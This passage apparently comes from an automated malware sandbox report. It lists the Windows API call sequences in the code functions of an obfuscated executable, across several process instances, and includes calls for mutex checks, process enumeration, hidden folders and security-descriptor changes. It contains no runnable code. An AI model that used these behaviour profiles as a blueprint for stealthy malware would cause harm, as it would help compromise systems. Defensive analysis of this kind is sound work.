    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,5_2_02712BB0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,VirtualQuery,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,5_2_026F1170
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,GetModuleHandleA,wsprintfA,wsprintfA,wsprintfA,GetModuleHandleA,wsprintfA,5_2_026FD970
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,5_2_026F1660
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,5_2_0270CE10
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,5_2_026F3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,5_2_02711690
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,5_2_02713F50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,5_2_02705720
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,5_2_026F7FD0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,5_2_02711460
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,5_2_02713CE0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetUserNameA,memset,StrStrIA,5_2_0270ADE0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,5_2_027125C0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,6_2_00B26CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,6_2_00B11170
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,GetModuleHandleA,wsprintfA,wsprintfA,wsprintfA,GetModuleHandleA,wsprintfA,6_2_00B1D970
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,6_2_00B32BB0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,StrStrIA,6_2_00B32B40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,6_2_00B33CE0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,6_2_00B31460
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetUserNameA,memset,StrStrIA,6_2_00B2ADE0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,6_2_00B325C0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,6_2_00B31690
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,6_2_00B13610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,6_2_00B2CE10
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,6_2_00B11660
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,6_2_00B17FD0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,6_2_00B25720
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,6_2_00B33F50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,GetModuleHandleA,GetProcAddress,StrStrIA,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,9_2_026B6CA0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,StrStrIA,9_2_026C2B40
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,memset,GetModuleFileNameA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,StrStrIA,PathAddBackslashA,SetCurrentDirectoryA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,9_2_026C2BB0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,StrStrIA,StrStrIA,StrStrIA,StrStrIW,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,StrStrIW,WideCharToMultiByte,GetProcessHeap,HeapAlloc,memset,WideCharToMultiByte,CreateThread,CreateThread,GetHandleInformation,CloseHandle,9_2_026A1170
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,GetComputerNameA,lstrlenA,wsprintfA,wsprintfA,GetModuleHandleA,wsprintfA,wsprintfA,wsprintfA,GetModuleHandleA,wsprintfA,9_2_026AD970
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetUserObjectInformationA,GetCurrentThreadId,GetProcAddress,GetModuleFileNameA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,StrStrIA,GetProcAddress,GetModuleHandleA,GetProcAddress,9_2_026A1660
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: memset,GetModuleFileNameA,CreateMutexA,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,GetModuleHandleA,GetProcAddress,GetCurrentProcess,#680,#680,PathFindFileNameA,StrStrIA,#680,StrStrIA,#680,StrStrIA,9_2_026A3610
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: StrStrIA,PathAddBackslashA,OpenProcess,GetModuleFileNameExA,GetHandleInformation,CloseHandle,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,GetFileAttributesA,SetCurrentDirectoryA,PathAddBackslashA,SetFileAttributesA,DeleteFileA,PathAddBackslashA,PathFileExistsA,9_2_026BCE10
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,StrStrIA,GetAncestor,GetWindowTextA,CreateThread,GetHandleInformation,CloseHandle,9_2_026C1690
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: FindWindowW,FindWindowW,Sleep,Sleep,FindWindowW,GetModuleFileNameA,StrStrIA,StrStrIA,PathFileExistsA,StrStrIA,PathAddBackslashA,CreateDirectoryA,GetLastError,#680,PathMakeSystemFolderA,SetLastError,StrStrIA,GetFileAttributesA,PathAddBackslashA,_snprintf,PathAddBackslashA,_snprintf,PathAddBackslashA,PathAddBackslashA,CreateMutexA,Sleep,ReleaseMutex,9_2_026C3F50
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleHandleA,StrStrIA,GetProcAddress,memset,GetModuleFileNameA,AddVectoredExceptionHandler,CreateMutexA,CreateThread,GetHandleInformation,CloseHandle,InitializeCriticalSection,InitializeCriticalSection,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,GetModuleHandleA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetUserObjectInformationA,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,LoadLibraryExA,GetProcAddress,GetCurrentProcessId,GetCurrentThreadId,GetThreadDesktop,GetUserObjectInformationA,lstrcmpiA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LoadLibraryExA,LoadLibraryExA,GetProcAddress,GetProcAddress,GetProcAddress,InitializeCriticalSection,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,LoadLibraryExA,GetProcAddress,9_2_026B5720
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: OpenMutexA,OpenMutexA,Sleep,Sleep,OpenMutexA,ReleaseMutex,GetHandleInformation,CloseHandle,GetModuleFileNameA,StrStrIA,ExitProcess,SetEvent,Sleep,9_2_026A7FD0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,9_2_026C1460
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,StrStrIA,PathAddBackslashA,9_2_026C3CE0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetUserNameA,memset,StrStrIA,9_2_026BADE0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: GetModuleFileNameA,PathFindFileNameA,PathFileExistsA,StrStrIA,strstr,strstr,strstr,CreateMutexA,Sleep,ReleaseMutex,GetHandleInformation,CloseHandle,GetPrivateProfileStringA,CharUpperA,CharUpperA,CharUpperA,9_2_026C25C0
    Source: C:\Program Files (x86)\BRffegHyDJAbFOlEPsAUtbGzvUOVwptUzPkkUWMfEDSLBFLwDEwnvrLshcOclSM\OCYLlGeNBSaNBJKonQXwvPUVfzuX.exeCode function: SHGetFolderPathA,PathAddBackslashA,GetModuleFileNameA,StrStrIA,GetCommandLineA,GetCommandLineW,InitializeCriticalSection,CreateMutexA,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,CreateThread,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,CreateMutexA,ConvertStringSecurityDescriptorToSecurityDescriptorW,GetSecurityDescriptorSacl,SetNamedSecurityInfoA,LocalFree,InitializeCriticalSection,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,GetProcessHeap,GetProcessHeap,HeapValidate,GetProcessHeap,HeapFree,GetModuleHandleA,GetModuleHandleA,GetProcAddress,GetProcAddress,GetCurrentProcess,#680,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,CreateThread,CreateThread,GetHandleInformation,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHandle,CreateThread,GetHandleInformation,CloseHan